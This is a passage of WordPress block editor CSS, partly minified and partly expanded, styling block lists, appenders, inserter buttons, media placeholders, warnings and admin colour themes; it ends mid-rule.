.block-editor-inserter:disabled{display:none}.block-editor-block-list__block .block-list-appender{bottom:0;left:0;list-style:none;padding:0;position:absolute;z-index:2}.block-editor-block-list__block .block-list-appender.block-list-appender{line-height:0;margin:0}.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender{height:24px}.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle{background:#1e1e1e;box-shadow:none;color:#fff;display:none;flex-direction:row;height:24px;min-width:24px;padding:0!important;width:24px}.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle:hover{background:var(--wp-admin-theme-color);color:#fff}.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender__content{display:none}.block-editor-block-list__block .block-list-appender:only-child{align-self:center;left:auto;line-height:inherit;list-style:none;position:relative}.block-editor-block-list__block .block-list-appender:only-child .block-editor-default-block-appender__content{display:block}.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle,.block-editor-block-list__block.is-selected>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected>.block-list-appender .block-list-appender__toggle{display:flex}.block-editor-default-block-appender__content{cursor:text}.block-editor-block-list__layout.has-overlay:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:60}.block-editor-media-placeholder__url-input-container .block-editor-media-placeholder__button{margin-bottom:0}.block-editor-media-placeholder__url-input-form{display:flex}.block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{border:none;border-radius:0;flex-grow:1;margin:2px;min-width:200px;width:100%}@media (min-width:600px){.block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{width:300px}}.block-editor-media-placeholder__url-input-submit-button{flex-shrink:1}.block-editor-media-placeholder__button{margin-bottom:.5rem}.block-editor-media-placeholder__cancel-button.is-link{display:block;margin:1em}.block-editor-media-placeholder.is-appender{min-height:0}.block-editor-media-placeholder.is-appender:hover{box-shadow:0 0 0 1px var(--wp-admin-theme-color);cursor:pointer}.block-editor-plain-text{border:none;box-shadow:none;color:inherit;font-family:inherit;font-size:inherit;line-height:inherit;margin:0;padding:0;width:100%}.rich-text [data-rich-text-placeholder]{pointer-events:none}.rich-text [data-rich-text-placeholder]:after{content:attr(data-rich-text-placeholder);opacity:.62}.rich-text:focus{outline:none}.rich-text:focus [data-rich-text-format-boundary]{border-radius:2px}.block-editor-rich-text__editable>p:first-child{margin-top:0}figcaption.block-editor-rich-text__editable [data-rich-text-placeholder]:before{opacity:.8}[data-rich-text-script]{display:inline}[data-rich-text-script]:before{background:#ff0;content:"</>"}.block-editor-warning{align-items:center;background-color:#fff;border:1px solid #1e1e1e;border-radius:2px;display:flex;flex-wrap:wrap;padding:1em}.block-editor-warning,.block-editor-warning .block-editor-warning__message{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif}.block-editor-warning .block-editor-warning__message{color:#1e1e1e;font-size:13px;line-height:1.4;margin:0}.block-editor-warning p.block-editor-warning__message.block-editor-warning__message{min-height:auto}.block-editor-warning .block-editor-warning__contents{align-items:baseline;display:flex;flex-direction:row;flex-wrap:wrap;justify-content:space-between;width:100%}.block-editor-warning .block-editor-warning__actions{align-items:center;display:flex;margin-top:1em}.block-editor-warning .block-editor-warning__action{margin:0 0 0 8px}.block-editor-warning__secondary{margin:auto 8px auto 0}.components-popover.block-editor-warning__dropdown{z-index:99998}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.block-editor-block-icon{
  align-items:center;
  display:flex;
  height:24px;
  justify-content:center;
  width:24px;
}
.block-editor-block-icon.has-colors svg{
  fill:currentColor;
}
@media (forced-colors:active){
  .block-editor-block-icon.has-colors svg{
    fill:CanvasText;
  }
}
.block-editor-block-icon svg{
  max-height:24px;
  max-width:24px;
  min-height:20px;
  min-width:20px;
}

.block-editor-block-styles .block-editor-block-list__block{
  margin:0;
}
@keyframes selection-overlay__fade-in-animation{
  0%{
    opacity:0;
  }
  to{
    opacity:.4;
  }
}
:root .block-editor-block-list__layout::selection,:root .has-multi-selection .block-editor-block-list__layout::selection,_::-webkit-full-page-media,_:future{
  background-color:initial;
}
.block-editor-block-list__layout{
  position:relative;
}
.block-editor-block-list__layout:where(.block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)){
  border-radius:2px;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected) ::selection,.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)::selection{
  background:#0000;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{
  animation:selection-overlay__fade-in-animation .1s ease-out;
  animation-fill-mode:forwards;
  background:var(--wp-admin-theme-color);
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  opacity:.4;
  outline:2px solid #0000;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected).is-highlighted:after{
  box-shadow:none;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus,.block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected{
  outline:none;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus:after,.block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected:after{
  border-radius:1px;
  bottom:1px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  left:1px;
  outline:2px solid #0000;
  pointer-events:none;
  position:absolute;
  right:1px;
  top:1px;
  z-index:1;
}
.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus:after,.is-dark-theme .block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff;
}
.block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.is-selected:after{
  border-radius:2px;
  border-top:4px solid #ccc;
  bottom:auto;
  box-shadow:none;
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:-14px;
  transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear;
  z-index:0;
}
.block-editor-block-list__layout .is-block-moving-mode.can-insert-moving-block.block-editor-block-list__block.is-selected:after{
  border-color:var(--wp-admin-theme-color);
}
.has-multi-selection .block-editor-block-list__layout{
  -webkit-user-select:none;
          user-select:none;
}
.block-editor-block-list__layout [class^=components-]{
  -webkit-user-select:text;
          user-select:text;
}

.is-block-moving-mode.block-editor-block-list__block-selection-button{
  font-size:1px;
  height:1px;
  opacity:0;
  padding:0;
}

.block-editor-block-list__layout .block-editor-block-list__block{
  overflow-wrap:break-word;
  pointer-events:auto;
  position:relative;
  -webkit-user-select:text;
          user-select:text;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-editing-disabled{
  pointer-events:none;
  -webkit-user-select:none;
          user-select:none;
}
.block-editor-block-list__layout .block-editor-block-list__block .reusable-block-edit-panel *{
  z-index:1;
}
.block-editor-block-list__layout .block-editor-block-list__block .components-placeholder .components-with-notices-ui{
  margin:-10px 0 12px;
}
.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui{
  margin:0 0 12px;
  width:100%;
}
.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice .components-notice__content{
  font-size:13px;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning{
  min-height:48px;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning>*{
  pointer-events:none;
  -webkit-user-select:none;
          user-select:none;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning .block-editor-warning{
  pointer-events:all;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning:after{
  background-color:#fff6;
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning.is-multi-selected:after{
  background-color:initial;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay:after{
  display:none;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay .block-editor-block-list__layout.has-overlay:after{
  display:block;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-reusable.has-child-selected:after{
  box-shadow:0 0 0 1px var(--wp-admin-theme-color);
}
.block-editor-block-list__layout .block-editor-block-list__block[data-clear=true]{
  float:none;
}

.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered{
  cursor:default;
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered:after{
  border-radius:1px;
  bottom:1px;
  box-shadow:0 0 0 1px var(--wp-admin-theme-color);
  content:"";
  left:1px;
  pointer-events:none;
  position:absolute;
  right:1px;
  top:1px;
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected{
  cursor:default;
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected.rich-text{
  cursor:unset;
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected:after{
  border-radius:2px;
  bottom:1px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  left:1px;
  pointer-events:none;
  position:absolute;
  right:1px;
  top:1px;
}

@keyframes block-editor-has-editable-outline__fade-out-animation{
  0%{
    border-color:rgba(var(--wp-admin-theme-color--rgb), 1);
  }
  to{
    border-color:rgba(var(--wp-admin-theme-color--rgb), 0);
  }
}
.is-root-container:not([inert]) .block-editor-block-list__block.has-editable-outline:after{
  animation:block-editor-has-editable-outline__fade-out-animation .3s ease-out;
  animation-delay:1s;
  animation-fill-mode:forwards;
  border:1px dotted rgba(var(--wp-admin-theme-color--rgb), 1);
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
@media (prefers-reduced-motion:reduce){
  .is-root-container:not([inert]) .block-editor-block-list__block.has-editable-outline:after{
    animation-delay:0s;
    animation-duration:1ms;
  }
}

.is-focus-mode .block-editor-block-list__block:not(.has-child-selected){
  opacity:.2;
  transition:opacity .1s linear;
}
@media (prefers-reduced-motion:reduce){
  .is-focus-mode .block-editor-block-list__block:not(.has-child-selected){
    transition-delay:0s;
    transition-duration:0s;
  }
}

.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected) .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-multi-selected,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-selected{
  opacity:1;
}

.wp-block.alignleft,.wp-block.alignright,.wp-block[data-align=left]>*,.wp-block[data-align=right]>*{
  z-index:21;
}

.wp-site-blocks>[data-align=left]{
  float:left;
  margin-right:2em;
}

.wp-site-blocks>[data-align=right]{
  float:right;
  margin-left:2em;
}

.wp-site-blocks>[data-align=center]{
  justify-content:center;
  margin-left:auto;
  margin-right:auto;
}
.block-editor-block-list .block-editor-inserter{
  cursor:move;
  cursor:grab;
  margin:8px;
}

@keyframes block-editor-inserter__toggle__fade-in-animation{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
.wp-block .block-list-appender .block-editor-inserter__toggle{
  animation:block-editor-inserter__toggle__fade-in-animation .1s ease;
  animation-fill-mode:forwards;
}
@media (prefers-reduced-motion:reduce){
  .wp-block .block-list-appender .block-editor-inserter__toggle{
    animation-delay:0s;
    animation-duration:1ms;
  }
}

.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender{
  display:none;
}
.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender .block-editor-inserter__toggle{
  opacity:0;
  transform:scale(0);
}

.block-editor-block-list__block .block-editor-block-list__block-html-textarea{
  border:none;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  display:block;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:15px;
  line-height:1.5;
  margin:0;
  outline:none;
  overflow:hidden;
  padding:12px;
  resize:none;
  transition:padding .2s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-block-list__block .block-editor-block-list__block-html-textarea{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-block-list__block .block-editor-block-list__block-html-textarea:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-editor-block-list__block .block-editor-warning{
  position:relative;
  z-index:5;
}
.block-editor-block-list__block .block-editor-warning.block-editor-block-list__block-crash-warning{
  margin-bottom:auto;
}

.block-editor-iframe__body{
  transform-origin:top center;
  transition:all .3s;
}

.is-vertical .block-list-appender{
  margin-left:12px;
  margin-right:auto;
  margin-top:12px;
  width:24px;
}

.block-list-appender>.block-editor-inserter{
  display:block;
}

.block-editor-block-list__block:not(.is-selected):not(.has-child-selected):not(.block-editor-block-list__layout) .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle{
  opacity:0;
  transform:scale(0);
}

.block-editor-block-list__block.has-block-overlay{
  cursor:default;
}
.block-editor-block-list__block.has-block-overlay:before{
  background:#0000;
  border:none;
  border-radius:2px;
  content:"";
  height:100%;
  left:0;
  position:absolute;
  top:0;
  width:100%;
  z-index:10;
}
.block-editor-block-list__block.has-block-overlay:not(.is-multi-selected):after{
  content:none !important;
}
.block-editor-block-list__block.has-block-overlay:hover:not(.is-dragging-blocks):not(.is-multi-selected):before{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  box-shadow:0 0 0 1px var(--wp-admin-theme-color) inset;
}
.block-editor-block-list__block.has-block-overlay.is-reusable:hover:not(.is-dragging-blocks):not(.is-multi-selected):before,.block-editor-block-list__block.has-block-overlay.wp-block-template-part:hover:not(.is-dragging-blocks):not(.is-multi-selected):before{
  background:rgba(var(--wp-block-synced-color--rgb), .04);
  box-shadow:0 0 0 1px var(--wp-block-synced-color) inset;
}
.block-editor-block-list__block.has-block-overlay.is-selected:not(.is-dragging-blocks):before{
  box-shadow:0 0 0 1px var(--wp-admin-theme-color) inset;
}
.block-editor-block-list__block.has-block-overlay .block-editor-block-list__block{
  pointer-events:none;
}
.block-editor-iframe__body.is-zoomed-out .block-editor-block-list__block.has-block-overlay:before{
  left:calc(50% - 50vw);
  width:100vw;
}

.block-editor-block-list__layout .is-dragging{
  background-color:currentColor !important;
  border-radius:2px !important;
  opacity:.05 !important;
  pointer-events:none !important;
}
.block-editor-block-list__layout .is-dragging::selection{
  background:#0000 !important;
}
.block-editor-block-list__layout .is-dragging:after{
  content:none !important;
}

.block-editor-block-preview__content-iframe .block-list-appender{
  display:none;
}

.block-editor-block-preview__live-content *{
  pointer-events:none;
}
.block-editor-block-preview__live-content .block-list-appender{
  display:none;
}
.block-editor-block-preview__live-content .components-button:disabled{
  opacity:1;
}
.block-editor-block-preview__live-content .block-editor-block-list__block[data-empty=true],.block-editor-block-preview__live-content .components-placeholder{
  display:none;
}

.block-editor-block-variation-picker .components-placeholder__instructions{
  margin-bottom:0;
}
.block-editor-block-variation-picker .components-placeholder__fieldset{
  flex-direction:column;
}
.block-editor-block-variation-picker.has-many-variations .components-placeholder__fieldset{
  max-width:90%;
}

.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  justify-content:flex-start;
  list-style:none;
  margin:16px 0;
  padding:0;
  width:100%;
}
.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li{
  flex-shrink:1;
  list-style:none;
  margin:8px 20px 0 0;
  text-align:center;
  width:75px;
}
.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li button{
  display:inline-flex;
  margin-right:0;
}
.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation{
  padding:8px;
}
.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation-label{
  display:block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:12px;
  line-height:1.4;
}

.block-editor-block-variation-picker__variation{
  width:100%;
}
.block-editor-block-variation-picker__variation.components-button.has-icon{
  justify-content:center;
  width:auto;
}
.block-editor-block-variation-picker__variation.components-button.has-icon.is-secondary{
  background-color:#fff;
}
.block-editor-block-variation-picker__variation.components-button{
  height:auto;
  padding:0;
}
.block-editor-block-variation-picker__variation:before{
  content:"";
  padding-bottom:100%;
}
.block-editor-block-variation-picker__variation:first-child{
  margin-left:0;
}
.block-editor-block-variation-picker__variation:last-child{
  margin-right:0;
}

.block-editor-button-block-appender{
  align-items:center;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
  display:flex;
  flex-direction:column;
  height:auto;
  justify-content:center;
  width:100%;
}
.block-editor-button-block-appender.components-button.components-button{
  padding:12px;
}
.is-dark-theme .block-editor-button-block-appender{
  box-shadow:inset 0 0 0 1px #ffffffa6;
  color:#ffffffa6;
}
.block-editor-button-block-appender:hover{
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
  color:var(--wp-admin-theme-color);
}
.block-editor-button-block-appender:focus{
  box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color);
}
.block-editor-button-block-appender:active{
  color:#000;
}

.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child{
  pointer-events:none;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child:after,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after{
  border:1px dashed;
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child:after:before,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child:after:before,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after:before,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after:before{
  background:currentColor;
  bottom:0;
  content:"";
  left:0;
  opacity:.1;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter{
  visibility:hidden;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after{
  border:none;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter{
  visibility:visible;
}
.block-editor-block-list__block:not(.is-selected)>.block-editor-block-list__block>.block-list-appender:only-child:after{
  border:none;
}
.block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{
  background-color:var(--wp-admin-theme-color);
  box-shadow:inset 0 0 0 1px #ffffffa6;
  color:#ffffffa6;
  transition:background-color .2s ease-in-out;
}
@media (prefers-reduced-motion:reduce){
  .block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{
    transition:none;
  }
}
.block-editor-default-block-appender{
  clear:both;
  margin-left:auto;
  margin-right:auto;
  position:relative;
}
.block-editor-default-block-appender[data-root-client-id=""] .block-editor-default-block-appender__content:hover{
  outline:1px solid #0000;
}
.block-editor-default-block-appender .block-editor-default-block-appender__content{
  opacity:.62;
}
:where(body .is-layout-constrained) .block-editor-default-block-appender>:first-child:first-child{
  margin-block-start:0;
}
.block-editor-default-block-appender .components-drop-zone__content-icon{
  display:none;
}
.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon{
  background:#1e1e1e;
  border-radius:2px;
  color:#fff;
  height:24px;
  min-width:24px;
  padding:0;
}
.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon:hover{
  background:var(--wp-admin-theme-color);
  color:#fff;
}

.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter,.block-editor-default-block-appender .block-editor-inserter{
  line-height:0;
  position:absolute;
  right:0;
  top:0;
}
.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter:disabled,.block-editor-default-block-appender .block-editor-inserter:disabled{
  display:none;
}
.block-editor-block-list__block .block-list-appender{
  bottom:0;
  list-style:none;
  padding:0;
  position:absolute;
  right:0;
  z-index:2;
}
.block-editor-block-list__block .block-list-appender.block-list-appender{
  line-height:0;
  margin:0;
}
.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender{
  height:24px;
}
.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle{
  background:#1e1e1e;
  box-shadow:none;
  color:#fff;
  display:none;
  flex-direction:row;
  height:24px;
  min-width:24px;
  padding:0 !important;
  width:24px;
}
.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle:hover{
  background:var(--wp-admin-theme-color);
  color:#fff;
}
.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender__content{
  display:none;
}
.block-editor-block-list__block .block-list-appender:only-child{
  align-self:center;
  line-height:inherit;
  list-style:none;
  position:relative;
  right:auto;
}
.block-editor-block-list__block .block-list-appender:only-child .block-editor-default-block-appender__content{
  display:block;
}

.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle,.block-editor-block-list__block.is-selected>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected>.block-list-appender .block-list-appender__toggle{
  display:flex;
}

.block-editor-default-block-appender__content{
  cursor:text;
}

.block-editor-block-list__layout.has-overlay:after{
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:60;
}

.block-editor-media-placeholder__url-input-container .block-editor-media-placeholder__button{
  margin-bottom:0;
}

.block-editor-media-placeholder__url-input-form{
  display:flex;
}
.block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{
  border:none;
  border-radius:0;
  flex-grow:1;
  margin:2px;
  min-width:200px;
  width:100%;
}
@media (min-width:600px){
  .block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{
    width:300px;
  }
}

.block-editor-media-placeholder__url-input-submit-button{
  flex-shrink:1;
}

.block-editor-media-placeholder__button{
  margin-bottom:.5rem;
}

.block-editor-media-placeholder__cancel-button.is-link{
  display:block;
  margin:1em;
}

.block-editor-media-placeholder.is-appender{
  min-height:0;
}
.block-editor-media-placeholder.is-appender:hover{
  box-shadow:0 0 0 1px var(--wp-admin-theme-color);
